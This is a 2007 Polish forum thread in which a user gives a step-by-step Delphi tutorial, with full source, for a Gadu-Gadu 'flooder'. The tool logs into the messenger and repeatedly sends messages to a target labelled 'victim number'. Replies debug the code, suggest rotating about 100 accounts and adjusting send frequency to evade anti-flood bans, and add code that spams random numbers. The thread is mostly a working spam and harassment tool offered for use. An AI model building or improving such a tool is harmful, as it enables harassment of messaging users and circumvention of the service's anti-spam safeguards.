Piszemy Gadu-Gadu Flooder...

Dark Smark · Marzec 17, 2007

Witam jest tego dużo na necie, ale na forum niema, a że akurat czas mam to wspomogę chociaż troszkę forum.

Jest to tutorial dla porządkujących! Inni nie znajdą tu nic nowego.

Piszemy Gadu-Gadu Flooder...
[PROGRAM LOGUJE SIĘ DO GG (podajemy numer i hasło) i wysyła do podanego numeru podaną wiadomość]
NA końcu jest gotowe źródło!
Co nam będzie potrzebne?
===================================================
Po pierwsze to środowisko Delphi ( ja używam delphi 7 personal)
Pobierz z oficjalnej Polskiej strony...

//możemy serial też uzyskąć darmową rejestracją produktu (personal) na www.borload.com
===================================================
Darmowy komponent THGG
Pobierz
Instalacja komponentu:
Kopiujemy wypakowany plik "HGG" do folderu z delphi (lib) domyślnie:
Crogram FilesBorlandDelphi7Lib
Odpalamy delphi i z górnego menu wybieramy "Component>>Install Component"
Wybieramy Browse i szukamy pliku hgg w folderze lib klikamy ok>>ok i wychodzimy z delphi komponent już zostal zainstalowany
===================================================
===================================================
Zaczynamy!!
1) Wrzucamy na forme komponent hgg
2) Wrzucamy na forme 4x LabeledEdit z zakładki Additional
3) Wrzucamy na forme 4x Button z zakładki Standart
4) Ustawiamy to według uznania
4) Klikamy na 1 LabeledEdit1 i w Object Inspector>>EditLabel rozwijamy i zmieniamy Caption na
"Numer", drugi LabeledEdit2 zmieniamy w taki sam sposób caption na "Haslo", Trzeci LabeledEdit3 caption zmieniamy na "Numer_Ofiary" a LabeledEdit4 na "Wiadomosc".
5) Mamy 4 przyciski (button'y) klikamy na 1 i zmieniamy w Object Inspector Caption na "Zaloguj", drugi button>Object Inspector>caption>"Wyloguj", trzeci Object Inspector>caption>"Spam" a czwarty Object Inspector>caption>"Stop_Spam"
U mnie to wszystko wygląda tak:

===================================================
Czas na kod!
Pomiędzy kodem a edycją formy przełanczamy się przyciskiem F12
Wrzucamy na forme jeszcze Timer z zakładki system, klikamy raz na timer i w Object Inspector zmieniamy Enabled na false.
~~Klikamy 2 razy na button Zaloguj i wklepujemy
procedure TForm1.ZalogujClick(Sender: TObject);
begin
hgg1.Number:=strtoint(Numer.Text);
hgg1.Password:=Haslo.Text;
hgg1.Status:=usAvailable;
hgg1.Connect(500);
end;

~~Przechodzimy do formy klikamy 2 razy na Wyloguj i wklepujemy:
procedure TForm1.WylogujClick(Sender: TObject);
begin
hgg1.Status:=usNotAvailable;
end;

Teraz klikamy 2 razy na przycisk spam i wklepujemy:
procedure TForm1.SpamClick(Sender: TObject);
begin
timer1.Enabled:= True;
end;

Teraz klikamy 2 razy na Stop_Spam i wklepujemy:
procedure TForm1.Stop_SpamClick(Sender: TObject);
begin
timer1.Enabled:= False;
end;

I klikamy 2 razy na timer i wklepujemy:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
hgg1.SendMessage(strtoint(Numer_Ofiary.text),Wiadomosc.text,[]);
hgg1.SendMessage(strtoint(Numer_Ofiary.text),Wiadomosc.text,[]);
hgg1.SendMessage(strtoint(Numer_Ofiary.text),Wiadomosc.text,[]);
end;

Zapisujemy (file>save all) w jakimś folderze na pulpicie, potem klikamy w project>compilate all project w tym folderze pojawi się gotowy program. (rozszerzenie .exe).
===================================================
Objaśnienie kodu:
Kod w przycisku zaloguj pobiera numer i haslo z LabeledEdit (numer i haslo) i loguje się...
Kod w przycisku wyloguj zmienia status na niedostepny (wylogowuje z gg)
Kod w przycisku spam włącza timer
Kod w przycisku stop_spam wyłącza timer
Kod w timerze wysyła co 1 sekunde wiadomość do numeru pobranego z LabeledEdit (Numer ofiary) , wysyla wiadomosc o tresci wpisanej w LabeledEdit (Wiadomosc)

===================================================
Jak testować:
Pamiętajcie że może nie dopuścić do połączenia firewall!
Zakładamy numer gg wpisujemy w rubryki hasło i numer, numer do kogo mają wysłać się wiadomości i treść wiadomości np:

Możemy podać swój numer na ktorym jesteśmy gg by sprawdzić czy wiadomości dochodzą.
Klikamy zaloguj numer podany powinien zrobić się dostępny, klikamy spam i patrzymy jak program działa.
===================================================
Ten program można oczywiście wzbogacić o dużo funkcji...
Pobierz !GOTOWE ŹRÓDŁO!
===================================================
Wykończenie:
By dodać estetyki możemy dodać jeszcze obrazki, loga:
Z zakładki Additional wybieramy Images, wrzucamy go na formę klikamy na niego i w Object Inspector szukamy Pictures, klikamy obok na trzy kropeczk [...] i wybieramy z dysku obraz, następnie ustawiamy wedle uznania.
Zmiana ikony aplikacji:
By nasza aplikacja miała ikone musimy najpierw ją zrobić/ściągnąć. Zrobić możemy w większośći programach graficznych (preferuje obraz 32x32) i zapisujemy z rozszerzeniem .ICO .Wybieramy Project>>Options... i z zakładki Application klikamy Load Icon, wybieramy ikone klikamy OK, zapisujemy projekt i kompilujemy.
//do delphi w menu start mamy dołączony program "Image Editor" można w nim zrobic ikone.
===================================================
Możecie dowolnie zmieniać kod by wymyślić coś nowego. A może dodacie swoje funkcje...?
Poszerz swą wiedzę: http://www.4programmers.net/
Pozdrawiam Dark SmarkŽ

mOrLuCk · Marzec 17, 2007

Dark Super Art

Oby tak dalej.

Ale chyba jest mały błąd.

Kod:

procedure TForm1.Timer1Timer(Sender: TObject);

begin

hgg1.SendMessage(strtoint(Numer_Ofiary.text),Wiadomosc.text,[]);

hgg1.SendMessage(strtoint(Numer_Ofiary.text),Wiadomosc.text,[]);

hgg1.SendMessage(strtoint(Numer_Ofiary.text),Wiadomosc.text,[]);

end;

Powinno się wyciąć "[]"

Kod:

procedure TForm1.Timer1Timer(Sender: TObject);

begin

hgg1.SendMessage(strtoint(Numer_Ofiary.text),Wiadomosc.text,);

hgg1.SendMessage(strtoint(Numer_Ofiary.text),Wiadomosc.text,);

hgg1.SendMessage(strtoint(Numer_Ofiary.text),Wiadomosc.text,);

end;

Pozdrawiam mOrLuCk

rafal · Marzec 17, 2007

Mozna zrobic to na watkach aby program w czasie wysylania nie "wisial". Po za tym wartaloby poczytac o nowych filtrach antyspamowych i antyfloodowych gg, bo mozna bana zalapac

wiec nalezy pameitac o czestotliwosc wysylania tychze wiadomosci aby nie dostac klina

Czak · Marzec 17, 2007

Dobra robota Dark Smark wszystko działa,ale można się też trochę pobawić z kodem i go ulepszyć.
Ten kod to niezła podstawa do dobrego floodera

Pozdro

Dark Smark · Marzec 17, 2007

Originally posted by mOrLuCk
Dark Super Art

Oby tak dalej.

[...]

Powinno się wyciąć "[]"

[...]

Pozdrawiam mOrLuCk

W starej wersji thgg, trzeba wyciąć po ściągnięciu najnowszej nie trzeba.
"[]" - Służy o ile dobrze pamiętam do formatowania tekstu. Więcej w dokumentacji komponentu.

Originally posted by maSs
Mozna zrobic to na watkach aby program w czasie wysylania nie "wisial". Po za tym wartaloby poczytac o nowych filtrach antyspamowych i antyfloodowych gg, bo mozna bana zalapac

wiec nalezy pameitac o czestotliwosc wysylania tychze wiadomosci aby nie dostac klina

Tak teraz gg wprowadziło ograniczenia. Ale może ktoś początkujący zmontuje coś innego, nowego z tego.

Pozdrawiam Smark.

mOrLuCk · Marzec 17, 2007

Bardzo możliwe ponieważ ja używam wersji v0.8 a ty masz v0.7

Pozdrawiam mOrLuCk

maly3900 · Marzec 17, 2007

Heh, teraz dostanie sie bana po kilku wiadomościach.
Jest tez taka metoda [bradzo pracochłonna] - zrobic baze np. 100 numerów GG...
I z 100 numerów byłby Flood... - wtedy sie nie dostanie Ban[ana] tak szybko

wielki lamer · Marzec 17, 2007

mam maly problem z kompilacja :

u was tez sie cos takiego pojawialo

B33RK4 · Marzec 17, 2007

hym, musisz zadeklarowac zmienna przed BEGIN'em. Deklaruje sie VAR'em

wielki lamer · Marzec 17, 2007

Originally posted by B33RK4
hym, musisz zadeklarowac zmienna przed BEGIN'em. Deklaruje sie VAR'em

jaka zmienna ... ?

zapomnialem napisac ze jestem noobem ... troche w TP sie bawilem ale w delphi pierwszy raz pisze

Serfer@ · Marzec 17, 2007

A jak nazwałeś pole Edit1 w które wpisujesz Numer, bo powinno być zamiast „Edit1” „Numer”. Czyli w Object Inspector-> Name:= Numer.

Dark Smark · Marzec 17, 2007

Originally posted by wielki lamer
mam maly problem z kompilacja :
<a href="http://images22.fotosik.pl/53/1f2fe9c0cd329c8em.jpg" target="_blank">Obrazek</a>

u was tez sie cos takiego pojawialo

Ściągnij moje źródło i przeanalizuj.
Ale mi się wydaje że chodzi oto że Edit1.text nie został nazwany w Object Inspector >> Name >> Numer
Poprostu wywala że nie ma na formie numer.text, wystarczy zmienić nazwe edit1.text na numer. Czytaj ze zrozumieniem.

//Serfer@ o sekundy mnie wyprzedziłeś z wypowiedzia

Dark Smark · Marzec 18, 2007

Darmowy komponent THGG
Pobierz
Instalacja komponentu:
Kopiujemy wypakowany plik "HGG" do folderu z delphi (lib) domyślnie:
Crogram FilesBorlandDelphi7Lib
Odpalamy delphi i z górnego menu wybieramy "Component>>Install Component"
Wybieramy Browse i szukamy pliku hgg w folderze lib klikamy ok>>ok i wychodzimy z delphi komponent już zostal zainstalowany
Trzeba mieć Indi chyba...

rafal · Marzec 18, 2007

przeciez w BCB w ten sam sposbo instaluje sie komponenty .. nom chyba ze z MS korzystasz albo devC czy cus... ;-)

sebik90 · Marzec 18, 2007

Indi sa to komponety do delphi mozesz je pobrac z tad http://4programmers.net/Delphi/Komponenty polecam indi9

Dark Smark · Marzec 19, 2007

To paczka komponentów.... [rozszerzenie]
pomyliłem się nie indi tylko indy.
http://4programmers.net/Delphi/Indy

wielki lamer · Marzec 31, 2007

pytanie : czestotliwosc wysylania wiad.

jezeli chcialbym zmienic czestotliwosc wysylania wiadomosci to musialbym edytowac HGG ?

//przejzalem juz kawalek kodu HGG ale nie znalazlem zmiennej odpowiedzialnej za czestotliwosc wysylania wiadomosci

boness · Marzec 31, 2007

Originally posted by wielki lamer
pytanie : czestotliwosc wysylania wiad.

jezeli chcialbym zmienic czestotliwosc wysylania wiadomosci to musialbym edytowac HGG ?

//przejzalem juz kawalek kodu HGG ale nie znalazlem zmiennej odpowiedzialnej za czestotliwosc wysylania wiadomosci

timer > object inspector > "interval"

Dark Smark · Kwiecień 1, 2007

Originally posted by boness+--><div class='quotetop'>CYTAT(boness)</div>

<!--QuoteBegin-wielki lamer

Kliknij aby rozwinąć...

pytanie : czestotliwosc wysylania wiad.

jezeli chcialbym zmienic czestotliwosc wysylania wiadomosci to musialbym edytowac HGG ?

//przejzalem juz kawalek kodu HGG ale nie znalazlem zmiennej odpowiedzialnej za czestotliwosc wysylania wiadomosci

Kliknij aby rozwinąć...

timer > object inspector > "interval"[/b]

500 = 0,5sec
1000 = 1sec
2000 = 2sec
10000 = 10sec
...
I tak dalej

avaris · Kwiecień 3, 2007

tez ostatnio sie bawilem i napisalem gg floodera, tyle ze rozsyla on wiadomosci do losowego numeru. mozecie ulepszyc ten wasz o taka dodatkowa opcje - wystarczy zedytowac procke timera i ewentualnie dodac TCheckBox, po ktorego zaznaczeniu bedzie wiadomosc rozsylana do losowego nr:

randomize;

if CheckBox1.Checked then
hgg1.SendMessage(random(100000000)+1,Wiadomosc.text,[]);
else
hgg1.SendMessage(strtoint(Numer_Ofiary.Text),Wiadomosc.text,[]);

btw, moj gg flooder:
http://www.delphi.ovh.org/index.php?option...5&Itemid=76

Piszemy Gadu-Gadu Flooder...

Były Moderator

Użytkownik

Były Moderator

Użytkownik

Były Moderator

Użytkownik

Użytkownik

Użytkownik

Użytkownik

Użytkownik

Użytkownik

Były Moderator

Były Moderator

Były Moderator

Użytkownik

Były Moderator

Użytkownik

Użytkownik

Były Moderator

Użytkownik